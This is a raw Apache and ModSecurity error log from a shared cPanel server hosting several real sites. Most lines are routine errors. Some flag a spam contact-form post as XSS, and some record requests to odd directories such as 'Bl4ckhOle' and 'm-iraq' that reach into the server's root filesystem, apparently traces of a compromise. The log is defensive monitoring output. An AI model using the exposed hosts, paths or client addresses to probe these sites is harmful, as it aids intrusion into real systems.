[Fri Jul 17 08:42:39.991903 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:42:41.683542 2026] [security2:error] [pid 2013829:tid 2013829] [client 155.133.27.45:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colourmarklabels-global": Permission denied [hostname "colourmarklabels.com"] [uri "/wp-admin/includes/class-wp-site-icon.php"] [unique_id "almdqQ7FYe46zHK_jL3N8QAAABk"]
[Fri Jul 17 08:42:41.683583 2026] [security2:error] [pid 2013829:tid 2013829] [client 155.133.27.45:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colourmarklabels-ip": Permission denied [hostname "colourmarklabels.com"] [uri "/wp-admin/includes/class-wp-site-icon.php"] [unique_id "almdqQ7FYe46zHK_jL3N8QAAABk"]
[Fri Jul 17 08:42:44.393875 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:42:45.484846 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:45164] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:42:45.645034 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:42:45.660113 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:45174] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:42:52.184360 2026] [security2:error] [pid 2013809:tid 2013809] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almdtEgVnBK6wAv37w6qhgAAABQ"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 08:42:52.184399 2026] [security2:error] [pid 2013809:tid 2013809] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almdtEgVnBK6wAv37w6qhgAAABQ"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 08:42:52.203154 2026] [core:error] [pid 2018741:tid 2018741] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/sound/card0/device/subsystem/drivers_probe
[Fri Jul 17 08:42:53.996644 2026] [security2:error] [pid 1993715:tid 1993715] [client 178.20.44.82:0] ModSecurity: Warning. Pattern match "\\\\xbc[^\\\\xbe>]*[\\\\xbe>]|<[^\\\\xbe]*\\\\xbe" at ARGS:enquiry. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "547"] [id "941310"] [msg "US-ASCII Malformed Encoding XSS Filter - Attack Detected"] [data "Matched Data: \\xbc\\xd1\\x8b https://zahodi.shop/delivery\\x0d\\x0a  \\xd0\\x92\\xd0\\xbe found within ARGS:enquiry: \\x0d\\x0a\\x0d\\x0a\\xd0\\x93\\xd0\\xb0\\xd1\\x80\\xd0\\xb0\\xd0\\xbd\\xd1\\x82\\xd0\\xb8\\xd1\\x80\\xd1\\x83\\xd1\\x8e\\xd1\\x82 \\xd0\\xb2\\xd1\\x8b\\xd1\\x81\\xd0\\xbe\\xd0\\xba\\xd1\\x83\\xd1\\x8e \\xd0\\xb7\\xd0\\xb2\\xd1\\x83\\xd0\\xba\\xd0\\xbe\\xd0\\xb8\\xd0\\xb7\\xd0\\xbe\\xd0\\xbb\\xd1\\x8f\\xd1\\x86\\xd0\\xb8\\xd1\\x8e, \\xd0\\xb0 \\xd1\\x82\\xd0\\xb0\\xd0\\xba\\xd0\\xb6\\xd0\\xb5 \\xd0\\xbf\\xd0\\xbe\\xd0\\xb3\\xd0\\xbb\\xd0\\xbe\\xd1\\x89\\xd0\\xb0\\xd1\\x8e\\xd1\\x82 \\xd0\\xb2\\..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-tomcat"] [tag "attack-xss"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almdtXRlmrtCoY_COpckTgAAAAg"], referer: https://dragon.lk/store/index.php?route=information/contact
[Fri Jul 17 08:42:53.997693 2026] [security2:error] [pid 1993715:tid 1993715] [client 178.20.44.82:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almdtXRlmrtCoY_COpckTgAAAAg"], referer: https://dragon.lk/store/index.php?route=information/contact
[Fri Jul 17 08:42:54.742250 2026] [security2:error] [pid 1993715:tid 1993715] [client 178.20.44.82:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almdtXRlmrtCoY_COpckTgAAAAg"], referer: https://dragon.lk/store/index.php?route=information/contact
[Fri Jul 17 08:42:55.885185 2026] [security2:error] [pid 2013797:tid 2013797] [client 155.133.27.45:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colourmarklabels-global": Permission denied [hostname "colourmarklabels.com"] [uri "/wp-admin/includes/class-wp-upgrader.php"] [unique_id "almdt1h1WDijTxd1xw5KpwAAAAc"]
[Fri Jul 17 08:42:55.885213 2026] [security2:error] [pid 2013797:tid 2013797] [client 155.133.27.45:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colourmarklabels-ip": Permission denied [hostname "colourmarklabels.com"] [uri "/wp-admin/includes/class-wp-upgrader.php"] [unique_id "almdt1h1WDijTxd1xw5KpwAAAAc"]
[Fri Jul 17 08:43:06.950543 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:38142] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:43:07.686016 2026] [security2:error] [pid 1993619:tid 1993619] [client 57.141.18.69:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory55/subsystem/devices/memory93/subsystem/devices/memory122/node0/memory73/"] [unique_id "almdw41dLClkUfK_dfHjaQAAAAI"]
[Fri Jul 17 08:43:07.686082 2026] [security2:error] [pid 1993619:tid 1993619] [client 57.141.18.69:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory55/subsystem/devices/memory93/subsystem/devices/memory122/node0/memory73/"] [unique_id "almdw41dLClkUfK_dfHjaQAAAAI"]
[Fri Jul 17 08:43:08.052238 2026] [ssl:error] [pid 2015125:tid 2015125] (70014)End of file found: [client 66.85.158.91:38182] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:43:08.157565 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:43:08.409336 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:43:11.010339 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:38264] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:43:11.467203 2026] [proxy_fcgi:error] [pid 2018770:tid 2018770] [client 169.224.110.204:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:43:17.277333 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:41166] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:43:17.485272 2026] [ssl:error] [pid 2014256:tid 2014256] (70014)End of file found: [client 66.85.158.91:41214] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:43:18.891718 2026] [security2:error] [pid 1996894:tid 1996894] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almdzo4Wmn5zySdNNkAmswAAABM"], referer: http://anandaobauae.org/?C=S;O=Duploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 08:43:18.891747 2026] [security2:error] [pid 1996894:tid 1996894] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almdzo4Wmn5zySdNNkAmswAAABM"], referer: http://anandaobauae.org/?C=S;O=Duploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 08:43:19.115120 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:43:20.720862 2026] [mime:warn] [pid 2018764:tid 2018764] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:43:21.995952 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:35828] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:43:23.084288 2026] [mime:warn] [pid 2018758:tid 2018758] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:43:23.534504 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:35916] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:43:24.171571 2026] [core:error] [pid 2018758:tid 2018758] (13)Permission denied: [client 57.141.18.86:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory103/subsystem/devices/memory45/subsystem/devices/memory114/node0/memory16/subsystem/drivers_probe
[Fri Jul 17 08:43:25.826153 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:43:26.317418 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:43:26.358137 2026] [ssl:error] [pid 2014256:tid 2014256] (70014)End of file found: [client 66.85.158.91:36028] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:43:27.996471 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:36096] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:43:28.127503 2026] [security2:error] [pid 1993574:tid 1993574] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_39_no_42_english.pdf"] [unique_id "almd2N0t9Kb_MdNxrg7AlgAAAAM"]
[Fri Jul 17 08:43:28.127861 2026] [security2:error] [pid 1993574:tid 1993574] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_39_no_42_english.pdf"] [unique_id "almd2N0t9Kb_MdNxrg7AlgAAAAM"]
[Fri Jul 17 08:43:28.128171 2026] [security2:error] [pid 1993574:tid 1993574] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_39_no_42_english.pdf"] [unique_id "almd2N0t9Kb_MdNxrg7AlgAAAAM"]
[Fri Jul 17 08:43:28.275854 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:43:28.280912 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:43:31.850202 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 47.82.53.147:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/physical_node/0000:00:07.0/resource4_wc
[Fri Jul 17 08:43:32.425935 2026] [ssl:error] [pid 2014256:tid 2014256] (70014)End of file found: [client 66.85.158.91:60958] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:43:32.964071 2026] [ssl:error] [pid 2018764:tid 2018764] (70014)End of file found: [client 66.85.158.91:60970] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:43:34.090662 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:32822] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:43:34.243480 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:43:35.950419 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:32938] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:43:36.037551 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:43:36.107170 2026] [mime:warn] [pid 2015125:tid 2015125] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:43:36.752248 2026] [ssl:error] [pid 2018758:tid 2018758] (70014)End of file found: [client 66.85.158.91:32980] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:43:38.831427 2026] [ssl:error] [pid 2014256:tid 2014256] (70014)End of file found: [client 66.85.158.91:33046] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:43:38.941582 2026] [mime:warn] [pid 2015125:tid 2015125] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:43:38.998739 2026] [mime:warn] [pid 2018767:tid 2018767] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:43:41.295444 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:59082] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:43:41.829635 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:43:42.033233 2026] [mime:warn] [pid 2018767:tid 2018767] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:43:43.057892 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:59176] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:43:44.227172 2026] [mime:warn] [pid 2018764:tid 2018764] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:43:44.507926 2026] [mime:warn] [pid 2018770:tid 2018770] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:43:46.222645 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_43_no_13-english.pdf"] [unique_id "almd6hAi3pC6yjXGNq1-9gAAAAU"]
[Fri Jul 17 08:43:46.223036 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_43_no_13-english.pdf"] [unique_id "almd6hAi3pC6yjXGNq1-9gAAAAU"]
[Fri Jul 17 08:43:46.223389 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_43_no_13-english.pdf"] [unique_id "almd6hAi3pC6yjXGNq1-9gAAAAU"]
[Fri Jul 17 08:43:47.826485 2026] [core:error] [pid 1993668:tid 1993668] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/sound/card0/device/subsystem/uevent
[Fri Jul 17 08:43:49.322367 2026] [core:error] [pid 2018741:tid 2018741] (13)Permission denied: [client 57.141.18.28:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory141/node0/memory142/node0/memory69/subsystem/uevent
[Fri Jul 17 08:43:52.580703 2026] [ssl:error] [pid 2015125:tid 2015125] (70014)End of file found: [client 66.85.158.91:37594] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:43:53.468270 2026] [security2:error] [pid 2018768:tid 2018768] [client 57.141.18.38:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory106/node0/memory108/node0/memory80/node0/"] [unique_id "almd8VCBpfuYyhJ140vQ5AAAAB4"]
[Fri Jul 17 08:43:53.468306 2026] [security2:error] [pid 2018768:tid 2018768] [client 57.141.18.38:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory106/node0/memory108/node0/memory80/node0/"] [unique_id "almd8VCBpfuYyhJ140vQ5AAAAB4"]
[Fri Jul 17 08:43:54.258595 2026] [core:error] [pid 2013809:tid 2013809] (13)Permission denied: [client 57.141.18.124:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory67/subsystem/devices/memory84/subsystem/devices/memory111/subsystem/uevent
[Fri Jul 17 08:43:57.756636 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/slots/5/module/uevent
[Fri Jul 17 08:44:00.235157 2026] [security2:error] [pid 2018758:tid 2018758] [client 57.141.18.92:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory59/subsystem/devices/memory51/node0/memory67/"] [unique_id "almd-IRpm5MObcED3Q9rQQAAABE"]
[Fri Jul 17 08:44:00.235192 2026] [security2:error] [pid 2018758:tid 2018758] [client 57.141.18.92:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory59/subsystem/devices/memory51/node0/memory67/"] [unique_id "almd-IRpm5MObcED3Q9rQQAAABE"]
[Fri Jul 17 08:44:01.533541 2026] [security2:error] [pid 2018764:tid 2018764] [client 4.194.24.143:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/newlezzarotech-global": Permission denied [hostname "lezzarotech.com"] [uri "/index.php"] [unique_id "almd-VseBYnnE2UYU1j5oQAAABY"]
[Fri Jul 17 08:44:01.533643 2026] [security2:error] [pid 2018764:tid 2018764] [client 4.194.24.143:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/newlezzarotech-ip": Permission denied [hostname "lezzarotech.com"] [uri "/index.php"] [unique_id "almd-VseBYnnE2UYU1j5oQAAABY"]
[Fri Jul 17 08:44:03.578962 2026] [security2:error] [pid 1996894:tid 1996894] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_47_no_13-english_1.pdf"] [unique_id "almd-44Wmn5zySdNNkAmvgAAABM"]
[Fri Jul 17 08:44:03.579507 2026] [security2:error] [pid 1996894:tid 1996894] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_47_no_13-english_1.pdf"] [unique_id "almd-44Wmn5zySdNNkAmvgAAABM"]
[Fri Jul 17 08:44:03.579977 2026] [security2:error] [pid 1996894:tid 1996894] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_47_no_13-english_1.pdf"] [unique_id "almd-44Wmn5zySdNNkAmvgAAABM"]
[Fri Jul 17 08:44:04.962479 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:37786] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:44:05.789756 2026] [security2:error] [pid 2018757:tid 2018757] [client 4.194.24.143:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/newlezzarotech-global": Permission denied [hostname "lezzarotech.com"] [uri "/index.php"] [unique_id "almd_UkXT4NBqALj2lZ7MgAAABA"]
[Fri Jul 17 08:44:05.789788 2026] [security2:error] [pid 2018757:tid 2018757] [client 4.194.24.143:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/newlezzarotech-ip": Permission denied [hostname "lezzarotech.com"] [uri "/index.php"] [unique_id "almd_UkXT4NBqALj2lZ7MgAAABA"]
[Fri Jul 17 08:44:07.163142 2026] [security2:error] [pid 2014256:tid 2014256] [client 4.194.24.143:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/newlezzarotech-global": Permission denied [hostname "lezzarotech.com"] [uri "/index.php"] [unique_id "almd_4Zvbo7N5o5zeYC8zwAAABw"]
[Fri Jul 17 08:44:07.163187 2026] [security2:error] [pid 2014256:tid 2014256] [client 4.194.24.143:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/newlezzarotech-ip": Permission denied [hostname "lezzarotech.com"] [uri "/index.php"] [unique_id "almd_4Zvbo7N5o5zeYC8zwAAABw"]
[Fri Jul 17 08:44:13.187135 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
